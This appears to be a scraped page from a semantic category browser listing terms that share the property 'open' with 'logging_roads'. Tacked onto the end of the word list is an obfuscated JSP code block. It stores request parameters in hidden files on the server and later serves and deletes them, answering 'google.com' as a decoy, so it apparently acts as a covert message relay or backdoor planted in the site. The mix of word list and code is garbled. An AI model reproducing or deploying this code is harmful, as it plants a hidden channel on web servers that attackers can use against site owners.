Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Categories for
logging_roads
with nuance
open
:
open:area,
Simple categories matching
open
:
space,
protocol,
area,
receptacle,
stage,
room,
society,
housing,
water,
ampoule,
food,
land,
face,
structure,
passage,
resistance,
door,
nut,
fire,
building,
design,
stairway,
shape,
container,
system,
sea,
business,
perch,
position,
facility,
region,
country,
boat,
powerboat,
place,
cover,
volume,
envelope,
body,
vessel,
projection,
workplace,
feature,
liquid,
competition,
article,
beam,
event,
ground,
vehicle,
seam,
territory,
light,
burning,
dish,
excavation,
organization,
wound,
curve,
terrain,
woodland,
grain,
form,
shelter,
document,
surface,
entity,
substance,
market,
equipment,
box,
collocation,
fabric,
program,
procedure,
conflict,
activity,
flow,
section,
clearing,
establishment,
lagoon,
field,
roll,
struggle,
community,
information,
medium,
fencing,
code,
wall,
location,
specification,
network,
application,
item,
standard,
cell,
air,
issue,
unit,
highway,
basin,
gesture,
meeting,
appliance,
knowledge,
fixture,
sector,
part,
habitat,
site,
bivalve,
shellfish,
pattern,
enclosure,
nester,
grassland,
material,
construction,
vegetation,
institution,
implementation,
forest,
type,
group,
canopy,
flower,
thing,
file,
office,
marketplace,
watercourse,
ocean,
menu,
mollusc,
package,
version,
conveyance,
service,
car,
patch,
prey,
aquarium,
source,
object,
designer,
waterway,
situation,
function,
view,
conduit,
environment,
orifice,
image,
forum,
science,
meat,
pit,
Members with property
open
:
network_operations,
prairie,
pasture,
pine_plantation,
galaxy,
supporting_frame,
luggage,
playground_area,
garden,
shop,
roof_panel,
bottle,
meadow,
lake,
sparse_grassland,
form,
milk,
milk_jug,
beaver_meadow,
farmland,
tree_plantation,
surface_reservoir,
beach_frontage,
ranch,
morgan_court,
savanna,
lawn,
sedge_meadow,
grassland,
artery,
civic_center,
mousepad,
glass_terrarium,
semantic_web,
grackle,
foundation,
cooking_fire,
empty_office,
frank_park,
old_pasture,
monthly_retreat,
large_lake,
copley_square,
great_room,
logic,
margin,
open_pit,
home_garden,
animal_bite,
star,
solar_atmosphere,
light,
packaging,
skin,
word_file,
moorland_area,
abrasion,
rome_symposium,
dining-room,
system,
parking_structure,
flue,
city_street,
highland_game,
playground_equipment,
carotid_endarterectomy,
picture,
gas_vent,
humanities,
woodland,
abdominal_cavity,
park_pavilion,
wrought-iron_fence,
yangtze_basin,
beaker,
civic_square,
editor,
play_area,
watershed,
parrish_lawn,
station_platform,
twig,
industrial_site,
laminectomy,
annual_review,
urban_parkland,
town_wall,
landscaped_plaza,
noun,
pleural_space,
dirt_roads,
river_waterfront,
outdoor_section,
abandoned_farmland,
package,
medicine,
prairie_region,
glass_bowl,
piazza,
aurora_plaza,
recreation_area,
glass,
tournament,
desert,
grain_market,
spiritual_exercise,
cliff_site,
car_boot,
stadium,
cooking_vessel,
safari,
internet_web,
appointment,
rooftop_garden,
gazebo,
large_quad,
pitcher,
paddock,
snowmobile,
fairground,
recreational_fire,
bowl,
scrim_fabric,
grassland_fire,
college_campus,
apache,
use_language,
scrim,
bucket,
swamp_land,
paper,
convertible,
kitchen,
free_surface,
industrial_area,
garden_land,
shade_structure,
palm,
pan,
community_forum,
jetty,
canopy,
pasture_paddock,
nato,
curtain,
education,
roadside_verge,
research,
dishwasher_cavity,
street,
honeycomb_cell,
dune_area,
public_arena,
lanai,
high_desert,
lab,
rig_tank,
bug_bite,
final_mass,
condominium_lobby,
chimney,
down_land,
amenity_area,
notary_practice,
debit_position,
niche,
factory_grounds,
deck_lighting,
retreat,
tipper,
air,
emergency_lighting,
alt,
skiff,
recreation_use,
firebreak,
house_front,
large_classroom,
open_ditch,
public_place,
closet_door,
retail_outlet,
public_street,
rock_barren,
meridian_area,
back_seam,
community_playground,
simulation,
conservatory_area,
customer_service,
aircraft_hangar,
hayfield,
river,
japan_sea,
gulf,
natural_grassland,
garbage_area,
sparta_place,
volunteer_opportunity,
brazilian_congress,
bass_boat,
ethernet,
vent,
burn,
seawater,
theatre_area,
fireplace,
native_prairie,
outdoor_area,
application_method,
metal_bucket,
large_river,
poultry,
health_fair,
roll,
undeveloped_coast,
old_meadow,
noncompliance_issue,
school_campus,
storage_shelf,
bruise,
simulation_method,
spiral_arms,
wine_rack,
library_organization,
campus_green,
coast,
footpath,
small_lake,
public_meeting,
squeeze_bottle,
glass_bottle,
security_light,
bay,
flashlight,
exhibition_centre,
textile,
bar_tab,
controller,
verb,
clearing,
slit,
salt_lake,
comprehensive_school,
osprey,
condiment,
screen_configuration,
shutter_door,
habitat,
road_side,
convention_hall,
wireless_lan,
farm,
email_system,
cemetery,
pedestrian_plaza,
equestrian_trail,
saucepan,
back_garden,
trouser,
human_system,
cheesecloth,
test,
carpentry_shop,
school,
wide_field,
major_abrasion,
large_garden,
playing_pitch,
coal-mine_ridge,
connection_file,
safety,
apache_license,
project,
face,
jesus_green,
picket,
graveyard,
rock_quarry,
pasture_field,
barn_aisle,
desktop_file,
tangent,
dozer,
floodplain,
eaves,
story_times,
digital_library,
indoor_garden,
town_belt,
distribution_center,
shed,
loose_sweet,
coconut_plantation,
platter_vessel,
morgan_point,
hangar,
mall,
abalone,
variable_pergola,
urban_wild,
structural_fire,
unloading_area,
victoria_square,
ride_margin,
installation,
library,
staff_base,
bathroom,
sage,
royal_commission,
basement_stairs,
attic_space,
tunnel,
midnight_madness,
roof_top,
letters,
hard_court,
ley_line,
manufacturing_facility,
large_reservoir,
surface_cooler,
school_site,
printer,
large_tank,
leicester_square,
reception,
pond_area,
fire_ring,
beaver_pond,
african_walnut,
field,
grass,
ridge_top,
neural_network,
bread,
view_menu,
mainstream_religion,
administration_building,
water_column,
boat_cover,
ftp,
uncultivated_farmland,
suburban_garden,
torch,
rear_yard,
wavy_sheet,
bird_bath,
cricket_pitch,
chase_park,
retention_pond,
cage,
stream,
path,
pergola,
aircraft_hanger,
copyright,
cereal,
tractor,
road,
glass_cabinet,
wireless_network,
school_yard,
roadside,
exhibition_space,
plantation,
coastal_greenway,
suv,
small_crabs,
arena,
mountain_meadow,
school_hall,
woodland_meadow,
speedway,
supermarket,
under_floor,
ampoule,
business_process,
arts,
workroom,
park_shelter,
lumen,
circulation_area,
grand_piazza,
people,
wilderness_area,
garage_floor,
internet_network,
alley,
prep_tray,
theater,
tourer,
garage_door,
trench,
town_square,
wildflower_meadow,
perimeter_landscape,
railway,
convention_centre,
tundra,
bath_tub,
private_garden,
american_prairie,
violent_confrontation,
university,
gin_sea,
open_vessel,
farm_land,
marketplace,
chest,
lagoon,
pit_fire,
airport_protection,
forest,
railway_track,
europe,
spring,
dugout,
security,
pie_plate,
plenary_meeting,
limestone_glade,
ray,
neighborhood_street,
mount,
pit,
tcp,
polypropylene_fabric,
neighborhood_association,
laboratory,
ballroom,
addition,
porch,
arching_kick,
office_space,
intranet,
new_york,
beach_yawl,
mountain_side,
agricultural_land,
prison_gates,
vault,
wire_basket,
database_file,
abdominal_wound,
crop,
dish,
seedbed,
association,
tin,
computer_room,
church_hall,
multipurpose_room,
bottom,
string,
diamond_lattice,
gymnasium,
shopping_plaza,
milk_carton,
street_intersection,
sink_area,
conservatory,
natural_area,
luggage-compartment_cover,
disturbed_area,
south-pacific_ocean,
residential_development,
canal,
museum,
ring,
victorian_garden,
river_margin,
conference,
new_playground,
nursery,
green_image,
bayonet,
independent_publication,
disturbed_habitat,
hotel_lobby,
railroad_gondola,
pool,
seminar,
paper_sack,
equalization_basin,
village_square,
commercial_garage,
temporary_clearing,
loft,
beads,
campground,
action_item,
light_forest,
compression_plating,
scope,
ignition_box,
public_garden,
coastal_hill,
lizard,
funniest_picture,
killdeer,
front,
waggon_shed,
garage,
wardrobe,
native_habitat,
woodland_glade,
station_square,
auction,
rug,
ornamental_garden,
concrete_floor,
walnut,
lower_green,
symposium,
bench,
knit,
open_lawn,
big_river,
basket,
corporate_intranet,
deck,
down,
wide_glade,
wooded_land,
pickup_truck,
patio,
mesic_prairie,
warbler,
ice,
representation,
sugar,
cup,
wastebasket,
forest_opening,
corporate_plaza,
mezzanine,
bonfire,
jute_stick,
google_earth,
public_plaza,
composite_structure,
bald_eagle,
openness,
community,
daisy,
preservation,
honeycomb,
town_park,
mature_tree,
suburban_lawn,
campground_roads,
saucer,
accounting,
sales_person,
basement_room,
ladle,
churchyard,
utility,
sunday_bonanza,
small_wetland,
ditch,
plant,
remote_desktop,
political_party,
mine,
medium_broadcast,
desk_top,
green_grid,
social_science,
contact,
pc,
cafeteria,
retail_space,
grassland_savanna,
wilderness,
counter,
camp_fire,
dissection,
edge,
service,
richmond_park,
chin,
large_yard,
intensive-care_unit,
ground_pool,
john_boat,
view_designer,
cooling,
baseball_dugout,
town,
cross_campus,
patio_umbrella,
wood_pasture,
forehead,
wasteland,
candy_dish,
sewer,
park_river,
environmental_protection,
coarse_gravel,
file_view,
exposure_scheme,
water-company_land,
savanna_fire,
liquid_flow,
jug,
juice,
hill,
egg_carton,
motorboat,
java,
city_square,
surface,
sinai_gas,
pavilion,
main_quad,
farm_pasture,
centennial_parkland,
agriculture_land,
waiting_area,
cracking_tower,
speed_order,
dove,
star_office,
airfield,
powdered_food,
orgy_room,
vase,
park_land,
landscaping,
eyes,
mesh,
cockle,
scratch,
storage_yard,
soap,
cardboard_box,
warehouse,
robin,
beverage,
identification_camp,
cathedral_garden,
activity_room,
machine,
organization,
jersey_knit,
horticultural_crop,
hollow_cube,
stock_pond,
cedar_glade,
hard_return,
crossroads,
bass_strait,
certification,
sport_night,
fish,
hay_meadow,
sporting_grounds,
bald_knob,
shortcut,
reservoir,
sport_pitch,
tackle_box,
neighborhood_playground,
solid_foam,
service_pit,
open_tank,
email_program,
hatchback,
body,
shoreline_area,
rice_plantation,
tunisian_desert,
cone_calorimeter,
pond,
suburban_area,
carafe,
park_lawn,
monument_grounds,
free_jet,
large_fissure,
decompression,
rough_grassland,
shear_flow,
plaza,
bite,
open_vat,
sedan,
deck_covering,
mountain_top,
gas,
tranquillity,
expanded_metal,
pigeon,
immigrant_community,
contract,
grass_verge,
reserves,
congress,
area,
external_plant,
poultry_building,
ling_wasteland,
large_lecture,
quadrangle,
rail_fencing,
western_europe,
grassy_ride,
unmade_roads,
shallow_bowls,
shaft,
door,
home_compound,
recreation_center,
wool,
sewing_shop,
view,
scattered_glade,
forest_edge,
traffic_noise,
medical_service,
concrete,
cabriolet,
soccer_field,
field_margin,
folder,
suburb,
word_document,
gap,
theatre,
roof,
common,
mail,
energy,
community_garden,
porous_asphalt,
large_bowl,
forum,
recreational_play,
back_yard,
pool_area,
desk_drawers,
mixed_farmland,
bracken,
open_plot,
office,
scallop,
manufacturing_space,
inorganic_molecule,
charcoal_fire,
sport_boat,
rod,
market_factor,
interstitial_pore,
medicine_container,
word-processing_file,
flour,
cat_bite,
shoe_box,
backyard,
pavement,
retail_mall,
open_office,
personal_computer,
windows_server,
process_plant,
eu,
field_corner,
sport_field,
foam_cup,
exploration_trench,
orchard,
pore,
crevice,
playground,
party,
meat,
waste_place,
fiberglass,
public_reserves,
glade,
oyster,
domestic_burning,
mountainous_area,
cheek,
green_wedge,
starling,
network_equipment,
recreation_hall,
warming_fire,
watershed_land,
warehouse_site,
bedroom_floor,
related_form,
police_conference,
lumber_camp,
frame,
shallow_box,
sporting_area,
cash_box,
side,
freshwater_lake,
row_boat,
goal,
bean,
campus,
town_green,
review_papers,
quarry,
palm_plantation,
river_mouth,
vernal_pool,
derelict_site,
cauldron,
computer,
centenary_square,
limestone_quarry,
highland,
town-hall_meeting,
waste_area,
fitness,
strait,
open_space,
workshop,
canoe,
alcove,
bridge,
industrial_ethernet,
football_grounds,
windows,
internet_option,
dean_ridge,
public_space,
river_inlet,
major_burn,
native_grassland,
select_print,
brushy_slope,
picnic_shelter,
dishwasher,
pastureland,
green_belt,
safe,
stone_quarry,
logging_roads,
outdoor_mall,
roads,
half_shell,
range,
junkyard,
sandwich_panel,
bridge_park,
vacant_lots,
step_lighting,
rainwater_garden,
gas-station_canopy,
waste_ground,
combo_carport,
surgical_wound,
festival,
access_control,
aircraft,
dancing_competition,
doctor_office,
play,
shower_head,
valley_bottom,
phaeton,
direct_manager,
oak_savanna,
bus_shelter,
open_pan,
temperature_variation,
picnic_pavilion,
water,
court,
philanthropic_event,
block_party,
forest_land,
strike,
pedestrian_facility,
ranch_land,
pier,
assignment,
coastal_area,
airport,
campfire,
observatory,
beach_cabana,
scrape,
telecommunication_tower,
aspirin_bottle,
trivia_night,
netball_court,
grassy_meadow,
packet,
tank_pit,
campsite,
marine_terminal,
quad,
leaf_skeleton,
chicken,
palm_groves,
vinyl_rail,
food_plot,
wire_mesh,
laundry_room,
waste,
business,
lobby_room,
doll_head,
mouth,
roadster,
sunny_oak,
urban_creek,
basin,
verandah,
creek_restoration,
salad,
polynya,
full_basement,
overgrown_field,
tallgrass_prairie,
catenary_curve,
refrigerator_door,
open_drain,
pail,
country_roads,
hay_shed,
church_lawn,
auditorium,
bed,
civic_space,
atrium,
tent,
public_hall,
jeep,
spiral,
trailer,
canteen,
straw,
nature_reserves,
rail,
swamp,
rowboat,
boiler,
clams,
architecture_forum,
large_meeting,
smile,
meadow_space,
paddy,
main_city,
sea_front,
sea,
system_file,
toilet,
artificial_clearing,
large_backyard,
miniature-golf_course,
word-processing_document,
land_use,
oak_woodland,
brooklyn-bridge_park,
timber_plantation,
oscilloscope_application,
wall,
political_meeting,
rugby_grounds,
hall,
ire,
wildlife_habitat,
abandoned_pastureland,
alert_view,
railway_wagon,
square,
shoreline,
hovercraft,
usa,
hazelnut,
woodland_clearing,
camp,
meeting_agenda,
mug,
water_tunnel,
central_park,
river_bed,
grill_fire,
landfill_fire,
screen_porch,
human_brain,
agricultural_work,
tidal_basin,
trail,
aperture,
sedimentation_basin,
ocean,
table,
city,
planning_meeting,
bedpan,
natural_meadow,
pen,
montane_grassland,
unfinished_basement,
livestock_barn,
living-room_floor,
den,
yard,
window,
free_market,
backpack,
franklin_stove,
cooking_hut,
sump,
mesh_bag,
car,
grooved_roll,
neighborhood_common,
lonely_desert,
cycle_route,
flask,
common_green,
house,
aircraft-landing_field,
classroom,
cabinet,
upland_prairie,
hit,
tot_lots,
agriculture,
heath,
stock_yard,
vacant_lot,
concourse_area,
barrels,
large_pool,
green_heart,
desert_battlefield,
dirty_ice,
introduction,
spirituality_symposium,
cluster,
rain_shelter,
silicon_substrate,
perforated_metal,
x-ray,
pylon,
garden_tour,
large_bucket,
cheese,
green_space,
point,
tabletop,
battery,
sand_barren,
garbage_burning,
savannah,
pot,
production_plant,
day-care_center,
flowerbed,
blueberry_barren,
reception_area,
elk_hill,
black_sea,
electronic_market,
united_nation,
station,
candle,
net_envelope,
country,
building,
document,
corridor_ceiling,
bread_roll,
scree,
bicycle,
community_hall,
cone,
jet_fire,
pie_tin,
dory,
pasture_land,
market,
encumbrance,
basement,
groves,
institutional_market,
public_internet,
wood,
box,
river_water,
raised_bog,
albatross,
classroom_disruption,
trespassing_hunter,
meeting,
corn,
neglected_area,
athletic_field,
hotel,
new_lawn,
whitethroat,
isolated_area,
awning,
multistory_block,
alpine_meadow,
closed_system,
common_land,
nature_site,
http,
carpet,
green,
factory,
safety_quiz,
medical_supply,
server,
aeration_basin,
chip_pit,
old_campus,
ureterocele_excision,
north_nutgrass,
park_day,
shoebox,
hospital,
flower_pot,
arboretum,
aspirin_container,
piano,
glass_flask,
work_area,
castle_green,
greenway,
agricultural_fire,
forest_clearing,
native,
dirty_abrasion,
grass_margin,
adit,
mountain,
harbor,
sound,
village,
jet,
coastal_land,
authentication_service,
landscaping_service,
log,
back_space,
green_lawn,
sport_hall,
wing_wall,
forest_floor,
hillside_garden,
asphalt_green,
united_kingdom,
car_body,
recreation_grounds,
sidewalk,
slot,
quantity,
influence,
babysitting,
exhibit_hall,
local_park,
alligator_alley,
food_container,
bowls,
rice,
oil,
uncapped_bottle,
club,
lifeboat,
tow_tank,
old_field,
wire_fencing,
strategy_game,
construction_site,
greenwich_park,
split-rail_fencing,
back,
exhibition_complex,
open_source,
farming_land,
barge,
valley_floor,
park,
campus_scenario,
feedlot,
towner_swamp,
parkland_right,
united_state,
ventricle,
license,
gala_event,
pet_dish,
escarpment_area,
alpine_habitat,
brass_bowl,
greenbelt,
grassy_field,
screen,
moorland,
simple_sugar,
kibbutz,
bag,
open_intranet,
registry,
forest_roads,
political_work,
american_market,
samba,
pecan_orchard,
magnolia,
crop_land,
role,
tube,
home_computer,
plastic_dishpan,
mps,
wagon,
expansive_lawn,
wet_meadow,
process_building,
control,
track,
fence_post,
oven,
rocky_glade,
weave,
laceration,
cardinal,
verge,
minor_injury,
nose,
concept_art,
water_pass,
domestic_water,
jenner_schoolyard,
large_hangar,
sink,
museum_exhibit,
front_garden,
nesting_space,
cleared_site,
carport,
factory_floor,
chaparral,
open_forest,
rural_area,
modern_organization,
measure,
pole,
open_ridge,
kitchen_fire,
fallow_land,
ridge,
team_tournament,
fence,
adhesion,
log_file,
pine_bark,
classroom_setting,
open_university,
creek,
cavalry_charge,
forested_land,
balcony,
whitewater_canoe,
jam_jar,
internet_protocol,
drum,
sealant,
waiting_room,
roads_green,
ski_boat,
memorial_quadrangle,
wedding,
driving_range,
sand_hill,
heathland,
public_playground,
grain_boundary,
foam,
motorcycle,
expanse,
living-room,
industrial_wasteland,
issue,
intersecting_line,
site,
florist_envelope,
unused_tin,
mortar,
trough,
horse,
certain_van,
board_room,
staff_meeting,
gidgee_flats,
meeting_room,
nesting_area,
continuum_model,
dryness,
cavity,
trauma,
sandwich,
paint,
public_forum,
garden_aquarium,
public_roads,
pole_shed,
cantilever,
fan_house,
woodland_opening,
large_laboratory,
ecosystem,
culture,
loading_bay,
winter_range,
carton,
tray,
parent_seminar,
manometer,
farmyard,
athletic_center,
fence_row,
foyer,
pleural_cavity,
classroom_building,
open_habitat,
virtual_enterprise,
outside_toilet,
public_park,
valvular_operations,
place_fan,
appalachian_trail,
riparian_margin,
hillside,
desert_grassland,
stage,
shelf,
cracker,
narrow_river,
sporting_venue,
schoolyard,
bond,
farm_field,
home_lawn,
railway_side,
lattice_works,
farm_pond,
moor,
open_view,
abandoned_farmyard,
peasant_organization,
red_head,
clean_air,
optical_turnstile,
arch,
type,
tank,
attic,
platform,
bingo,
cylinder_volume,
horn_antenna,
mockingbird,
internet,
bath,
vegetable_farmland,
school_grounds,
covered_patio,
corral,
sydney_harbour,
word-processing_program,
church,
patio_deck,
truck,
highway_buffer,
neighborhood_park,
linnet,
bike_trail,
big_meadow,
balusters,
lattice,
sauce,
nafta,
rooftop_deck,
great,
email_client,
normal_file,
parkland,
open_side,
closed_form,
titration_ampoule,
road_reserves,
telephone-service_line,
steppe,
scenic_zone,
game_situation,
fishing_area,
rocky_site,
earth,
export_bill,
mussel,
brain,
agricultural_area,
greenway_buffer,
multipurpose_path,
harbour,
flat_plane,
natural_science,
web,
business_forum,
utility_company,
telephone,
dry_grassland,
pocket,
fundraiser,
atmosphere,
bus,
envelope,
financial_service,
bench_top,
university_yard,
woodland_pasture,
railway_embankment,
diving_torch,
level_desert,
unilateral_facelift,
exhibition,
woodland_habitat,
riverside_path,
lorry_side,
limo,
dam,
open_framework,
wooded_area,
tube_network,
fire_accident,
public_path,
rv_cover,
simpson_lagoon,
flat_area,
similar_place,
drawers,
vat,
native-american_tribe,
flow,
dive_operation,
solarium,
harvard_yard,
concert,
open_standard,
bar,
north-atlantic_ocean,
test_methodology,
biographical_file,
rocky_place,
atrium_area,
small_yard,
courtyard,
farm_preservation,
flowerpot,
student_fair,
city_park,
nectar,
cup_saucer,
utility_connection,
waterfront,
water_area,
quay_wall,
shade,
light_savanna,
holiday_party,
dune,
similar_vehicle,
lesion,
breakout_area,
aquarium,
community_meeting,
crevasse,
weedy_area,
face_ear,
sandy_heath,
hampton_court,
cooperative,
bowling,
green_pasture,
lobby,
traditional_post,
rail_cutting,
floor,
barn,
entry_way,
pickup,
rooftop,
football,
network_connection,
smallholding,
restaurant,
school_playground,
incomplete_work,
structural_landscaping,
convention_center,
taco,
neighborhood,
rock_face,
leisure_development,
colon_surgery,
windows_registry,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>